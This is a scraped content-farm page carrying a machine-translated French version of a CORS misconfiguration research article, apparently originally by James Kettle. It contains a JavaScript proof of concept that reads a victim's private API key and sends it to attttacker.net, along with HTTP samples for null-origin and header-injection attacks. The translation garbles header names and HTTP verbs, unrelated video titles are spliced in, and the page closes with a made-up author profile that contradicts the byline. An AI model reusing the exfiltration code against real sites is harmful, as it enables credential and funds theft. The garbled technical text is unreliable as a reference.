Exploitation des erreurs de configuration CORS pour les Bitcoins et les primes (2023)

Exploitation des erreurs de configuration CORS pour les Bitcoins et les primes (1)

Bouilloire James

Directeur de la Recherche

@albinowax

  • Publié :14 octobre 2016 à 16h30 UTC

  • Mis à jour:16 août 2022 à 09:24 UTC

(ou idées fausses de mauvaise configuration CORS)

Exploitation des erreurs de configuration CORS pour les Bitcoins et les primes (2)

Dans cet article, je montrerai comment identifier et exploiter un CORS mal configuré. Il s'agit d'une version très condensée de ma conférence AppSec USA. Si vous avez le temps (ou si vous avez du mal à comprendre quoi que ce soit), je vous recommande fortement de vérifierles diapositivesetregarder la vidéo. Je recommande également notre gratuitlaboratoires CORS interactifs.

Qu'est-ce que le CORS ? (Partage des ressources d'origine croisée)

Partage de ressources d'origine croisée(SCRO) est une technologie utilisée par les sites Web pour que les navigateurs Web assouplissent la politique d'origine identique, permettant une communication interdomaine entre différents sites Web. Il est fréquemment utilisé par les API Web en particulier, mais dans un site Web moderne et complexe, il peut apparaître n'importe où. Il est largement admis que certaines configurations CORS sont dangereuses, mais certaines subtilités et implications associées sont facilement mal comprises. Dans cet article, je montrerai comment examiner de manière critique les configurations CORS du point de vue d'un pirate informatique et voler des bitcoins.

CORS pour les pirates

Les sites Web activent CORS en envoyant l'en-tête de réponse HTTP suivant :

Accès-Contrôle-Autoriser-Origine: https://exemple.com

Cela permet à l'origine répertoriée (domaine) de faire en sorte que les navigateurs Web des visiteurs émettent des requêtes inter-domaines vers le serveur et lisent les réponses - quelque chose que leMême politique d'origineempêcherait normalement. Par défaut, cette demande sera émise sans cookies ni autres informations d'identification, de sorte qu'elle ne peut pas être utilisée pour voler des informations sensibles spécifiques à l'utilisateur telles queCSRFjetons. Le serveur peut activer la transmission des informations d'identification à l'aide de l'en-tête suivant :

(Video) AppSec EU 2017 Exploiting CORS Misconfigurations For Bitcoins And Bounties by James Kettle

Access-Control-Allow-Credentials : vrai

Cela crée une relation de confiance - une vulnérabilité XSS sur example.com est une mauvaise nouvelle pour ce site.

Caché à la vue de tous

Faire confiance à une seule origine est facile. Que faire si vous avez besoin de faire confiance à plusieurs origines ? La spécification suggère que vous pouvez simplement spécifier une liste d'origines séparées par des espaces, par exemple :

Access-Control-Allow-Origin : http://foo.com http://bar.net

Cependant, aucun navigateur ne le supporte réellement.

Vous pouvez également utiliser un caractère générique pour approuver tous vos sous-domaines, en spécifiant quelque chose comme :

Access-Control-Allow-Origin : *.portswigger.net

Mais cela ne fonctionnera pas non plus. La seule origine générique est '*'

Il y a aussi un verrou de sécurité caché dans CORS. Si vous essayez de désactiver leAMADOUERentièrement et exposez votre site à tout le monde en utilisant la combinaison d'en-tête terrifiante suivante :

Accès-Contrôle-Autoriser-Origine : *
Access-Control-Allow-Credentials : vrai

Ensuite, vous obtiendrez l'erreur suivante dans la console de votre navigateur :

Impossible d'utiliser un caractère générique dans Access-Control-Allow-Origin lorsque l'indicateur d'informations d'identification est vrai.

Cette exception est mentionnée dans le cahier des charges, ainsi quesoutenu par la documentation de Mozilla:

Lorsqu'il répond à une demande authentifiée, le serveur doit spécifier un domaine et ne peut pas utiliser de caractères génériques

En d'autres termes, l'utilisation d'un caractère générique désactive effectivement l'en-tête Allow-Credentials.

En raison de ces limitations,de nombreux serveurs génèrent par programme l'en-tête Access-Control-Allow-Origin en fonction de la valeur d'origine fournie par l'utilisateur. Il s'agit de la vulnérabilité CORS la plus courante. Si vous voyez une réponse HTTP avecEn-têtes Access-Control-*mais aucune origine déclarée, c'est une forte indication que le serveur générera l'en-tête en fonction de votre entrée. D'autres serveurs n'enverront des en-têtes CORS que s'ils reçoivent une requête contenant l'en-tête Origin, ce qui rend les vulnérabilités associées extrêmement faciles à manquer.

Identifiants et bitcoins

Ainsi, de nombreux sites Web dérivent les origines autorisées des entrées des utilisateurs. Qu'est ce qui pourrait aller mal? J'ai décidé d'évaluer quelques sites de bug bounty et de le découvrir. Notez que comme ces sites ont tous des programmes de primes de bogues, chaque vulnérabilité que je mentionne a été manquée par de nombreux autres chasseurs de primes.

j'ai vite reproduitLa découverte d'Evan Johnsonque de nombreuses applications ne tentent pas de valider l'origine avant de la refléter, et ont identifié un échange de bitcoins vulnérable (qui préfère malheureusement rester sans nom) :

(Video) James Kettle - Exploiting CORS Misconfigurations for Bitcoins and Bounties - AppSecUSA 2016

GET /api/requestApiKey HTTP/1.1
Hôte :
Origine : https://fiddle.jshell.net
Cookie : identifiant de session=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin : https://fiddle.jshell.net
Access-Control-Allow-Credentials : vrai

{"[clé API privée]"}

Faire une preuve de concept d'exploit CORS pour voler les clés API privées des utilisateurs était trivial :

var req = new XMLHttpRequest();
req.onload = reqListener ;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true ;
req.send();

function reqListener() {
location='//attttacker.net/log?key='+this.responseText ;
} ;

Après avoir récupéré la clé API d'un utilisateur, je pouvais désactiver les notifications de compte, activer 2FA pour les verrouiller et transférer leurs bitcoins vers une adresse arbitraire. C'est assez grave pour une mauvaise configuration de l'en-tête. Résistant à l'envie de prendre les bitcoins et de courir, j'ai signalé cela à leur programme de primes aux bogues et il a été corrigé en 20 minutes.

Certains sites Web font des erreurs d'analyse d'URL classiques lorsqu'ils tentent de vérifier si une origine doit être approuvée. Par exemple, un site que j'appellerai advisor.com fait confiance à toutes les origines qui se terminent par advisor.com, y compris certainementpasadvisor.com. Pire encore, un deuxième échange de bitcoins (appelons-le btc.net) a fait confiance à toutes les origines qui ont commencé par https://btc.net, y compris https://btc.net.evil.net. Malheureusement, le site a cessé ses activités de manière inattendue et permanente avant que je puisse construire une preuve de concept fonctionnelle. Je ne spéculerai pas sur les raisons.

L'origine nulle

Si vous faisiez très attention plus tôt, vous vous êtes peut-être demandé cel'origine "nulle"est pour. La spécification mentionne qu'elle est déclenchée par des redirections, et quelques articles de stackoverflow montrent que les fichiers HTML locaux l'obtiennent également. Peut-être en raison de l'association avec des fichiers locaux, j'ai constaté que de nombreux sites Web l'ont mis sur liste blanche, y compris le lecteur PDF de Google :

GET /reader?url=zxcvbn.pdf
Hébergeur : docs.google.com
Origine : nulle

HTTP/1.1 200 OK
Accès-Contrôle-Autoriser-Origine : null
Access-Control-Allow-Credentials : vrai

et un certain troisième échange de bitcoins. C'est idéal pour les attaquants, car n'importe quel site Web peut facilement obtenir l'origine nulle à l'aide d'un iframe en bac à sable :

Casser les analyseurs

La plupart des sites Web utilisent des opérations de chaîne de base pour vérifier l'en-tête Origin, mais certains l'analysent plutôt comme une URL. Trois ans après la publication initiale de cette recherche,Bitwis3partagé une technique pour exploiter les analyseurs qui tire parti de la tolérance de Safari pour les caractères inhabituels dans les noms de domaine. Dans Safari, il s'agit d'une URL valide - essayez de la copier-coller :

http://example.com%60.hackxor.net/static/cors.html

Et la requête CORS provenant de cette URL contient :

Origine : http://example.com`.hackxor.net/

Si un site choisit d'analyser cet en-tête, il pensera potentiellement que le nom d'hôte est example.com et le reflétera, nous permettant d'exploiter les utilisateurs de Safari même si le site utilise une liste blanche de noms d'hôte de confiance. Après avoir reçu ledénonciationde Bitwis3, j'ai personnellement essayé cette technique dans la nature et confirmé qu'elle fonctionne sur une gamme de systèmes réels.

Si vous trouvez que vous pouvez utiliser _ au lieu de `, vous pouvez également exploiter les personnes utilisant Firefox et Chrome - cette technique est documentée plus en détail dansTechniques avancées d'exploitation CORS.

Casser HTTPS

Au cours de cette recherche, j'ai trouvé deux autres défauts d'implémentation de liste blanche répandus, qui se produisent souvent en même temps. Le premier consiste à mettre aveuglément sur liste blanche tous les sous-domaines - même ceux qui n'existent pas. De nombreuses entreprises ont des sous-domaines pointant vers des applications hébergées par des tiers avec des pratiques de sécurité épouvantables. Croire que ceux-ci n'ont pas une seule vulnérabilité XSS et n'en auront jamais à l'avenir est une très mauvaise idée.

La deuxième erreur courante est de ne pas restreindre le protocole d'origine. Si un site Web est accessible via HTTPS mais acceptera volontiers les interactions CORS depuis http://où que ce soit, quelqu'un effectuant une attaque active de l'homme du milieu (MITM) peut à peu près contourner entièrement son utilisation de HTTPS. La sécurité stricte des transports et les cookies sécurisés ne feront pas grand-chose pour empêcher cette attaque. Découvrez l'enregistrement de la présentation lorsqu'il atterrit pour une démo de cette attaque.

Abus de CORS sans informations d'identification

Nous avons vu qu'avec les informations d'identification activées, CORS peut être très dangereux. Sans informations d'identification, de nombreuses attaques deviennent inutiles ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, il n'y a donc souvent rien à gagner en faisant en sorte que son navigateur émette la demande plutôt que de l'émettre vous-même. Même les attaques par fixation de jeton sont irréalisables, car tout nouveau cookie défini est ignoré par le navigateur.

Une exception notable est lorsque l'emplacement réseau de la victime fonctionne comme une sorte d'authentification. Vous pouvez utiliser le navigateur d'une victime comme proxy pour contourner l'authentification basée sur IP et accéder aux applications intranet. En termes d'impact, cela est similaire à la reliure DNS, mais beaucoup moins fastidieux à exploiter.

Varie : origine

Si vous jetez un coup d'œil à la section "Considérations sur la mise en œuvre" de la spécification CORS, vous remarquerez qu'elle demande aux développeurs de spécifier l'en-tête HTTP "Vary : Origin" chaque fois que les en-têtes Access-Control-Allow-Origin sont générés dynamiquement.

Cela peut sembler assez simple, mais un nombre immense de personnes oublient, y compris le W3C lui-même, ce qui conduit àcette citation fantastique:

Je dois dire que cela ne me rend pas très confiant que bientôt plus de sites prendront en charge CORS si même le W3C ne parvient pas à configurer correctement son serveur

- Réseau Gmür

Que se passe-t-il si nous ignorons ce conseil ? La plupart du temps, les choses se cassent. Cependant, dans les bonnes circonstances, cela peut permettre des attaques assez graves.

Empoisonnement du cache côté client

Vous avez peut-être parfois rencontré une page avecXSS réfléchidans un en-tête HTTP personnalisé. Supposons qu'une page Web reflète le contenu d'un en-tête personnalisé sans encodage :

OBTENIR /HTTP/1.1
Hébergeur : example.com
ID utilisateur X :

(Video) How to Fix Error Please Check Your Network Connection In Windows 11 [Tutorial]

Sans CORS, cela est impossible à exploiter car il n'y a aucun moyen de faire en sorte que le navigateur de quelqu'un envoie l'en-tête X-User-id entre domaines. Avec CORS, nous pouvons leur faire envoyer cette demande. En soi, cela ne sert à rien puisque la réponse contenant notre JavaScript injecté ne sera pas rendue. Cependant, si Vary: Origin n'a pas été spécifié, la réponse peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur navigue vers l'URL associée. j'ai fait un violon àtentez cette attaque sur une URL de votre choix. Étant donné que cette attaque utilise la mise en cache côté client, elle est en fait assez fiable.

Empoisonnement du cache côté serveur

Si les étoiles sont alignées, nous pourrons peut-être utiliser l'empoisonnement du cache côté serveur via l'injection d'en-tête HTTP pour créer une vulnérabilité XSS stockée.

Si une application reflète l'en-tête Origin sans même vérifier qu'il ne contient pas de caractères illégaux comme \r, nous avons effectivement une vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs IE/Edge car Internet Explorer et Edge voient \r (0x0d) comme un terminateur d'en-tête HTTP valide :

OBTENIR / HTTP/1.1
Origine : z[0x0d]Type de contenu : text/html ; jeu de caractères=UTF-7

Internet Explorer voit la réponse comme suit :

HTTP/1.1 200 OK
Accès-Contrôle-Autoriser-Origine : z
Type de contenu : text/html ; jeu de caractères=UTF-7

Ce n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire en sorte que le navigateur Web de quelqu'un envoie un en-tête aussi malformé, mais je peux créer manuellement cette demande dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes . La charge utile que j'ai utilisée changera le jeu de caractères de la page en UTF-7, ce qui est notoirement utile pour créer des vulnérabilités XSS.

Bonnes intentions et mauvais résultats

J'ai d'abord été surpris par le nombre de sites qui génèrent dynamiquement des en-têtes Access-Control-Allow-Origin. La cause principale de ce comportement peut être deux limitations clés de CORS - les origines multiples dans un même en-tête ne sont pas prises en charge, et les sous-domaines génériques non plus. Cela ne laisse à de nombreux développeurs d'autre choix que de générer des en-têtes dynamiques, risquant ainsi tous les défauts d'implémentation évoqués ci-dessus. Je pense que si les auteurs de la spécification et les navigateurs décidaient d'autoriser les listes d'origine et les caractères génériques partiels, la génération d'en-tête dynamique et les vulnérabilités associées chuteraient.

Une autre amélioration potentielle pour les navigateurs consiste à appliquer l'exception wildcard+credentials à l'origine nulle. À l'heure actuelle, l'origine nulle est nettement plus dangereuse que l'origine générique, ce que j'imagine que beaucoup de gens trouvent surprenant.

Une autre chose que les navigateurs pourraient essayer est de bloquer ce que j'ai appelé "contenu mixte inversé" - les sites HTTP utilisant CORS pour voler des données à partir de sites HTTPS. Cependant, je n'ai aucune idée de l'ampleur de la casse que cela entraînerait.

La simplicité et la sécurité peuvent aller de pair, mais en négligeant de prendre en charge plusieurs déclarations d'origine, les navigateurs Web ont simplement poussé la complexité sur les développeurs avec des résultats néfastes. Je pense que la principale conclusion à retenir est que la conception et la mise en œuvre de spécifications sécurisées sont extrêmement difficiles.

Conclusion

CORS est une technologie puissante qu'il vaut mieux utiliser avec précaution, et les exploits graves ne nécessitent pas toujours des compétences spécialisées et des chaînes d'exploitation alambiquées - souvent une compréhension de base d'une spécification et un peu d'attention suffisent. Au cas où vous manqueriez de café, à partir d'aujourd'hui, le scanner de Burp Suite identifiera et signalera tous les défauts discutés ici.

Mise à jour : Nous avons maintenant publié une collection d'ateliers interactifs gratuits afin que vous puissiez vous entraîner à exploiter ces vulnérabilités sur des systèmes en direct :

Laboratoires de mauvaise configuration CORS

primes 0jour SCRO HTML5 Favoris de James Présentations

(Video) Veille de l'OSSIR - Septembre 2020

Retour à tous les articles

References

Top Articles
Latest Posts
Article information

Author: Greg O'Connell

Last Updated: 09/02/2023

Views: 5629

Rating: 4.1 / 5 (42 voted)

Reviews: 89% of readers found this page helpful

Author information

Name: Greg O'Connell

Birthday: 1992-01-10

Address: Suite 517 2436 Jefferey Pass, Shanitaside, UT 27519

Phone: +2614651609714

Job: Education Developer

Hobby: Cooking, Gambling, Pottery, Shooting, Baseball, Singing, Snowboarding

Introduction: My name is Greg O'Connell, I am a delightful, colorful, talented, kind, lively, modern, tender person who loves writing and wants to share my knowledge and understanding with you.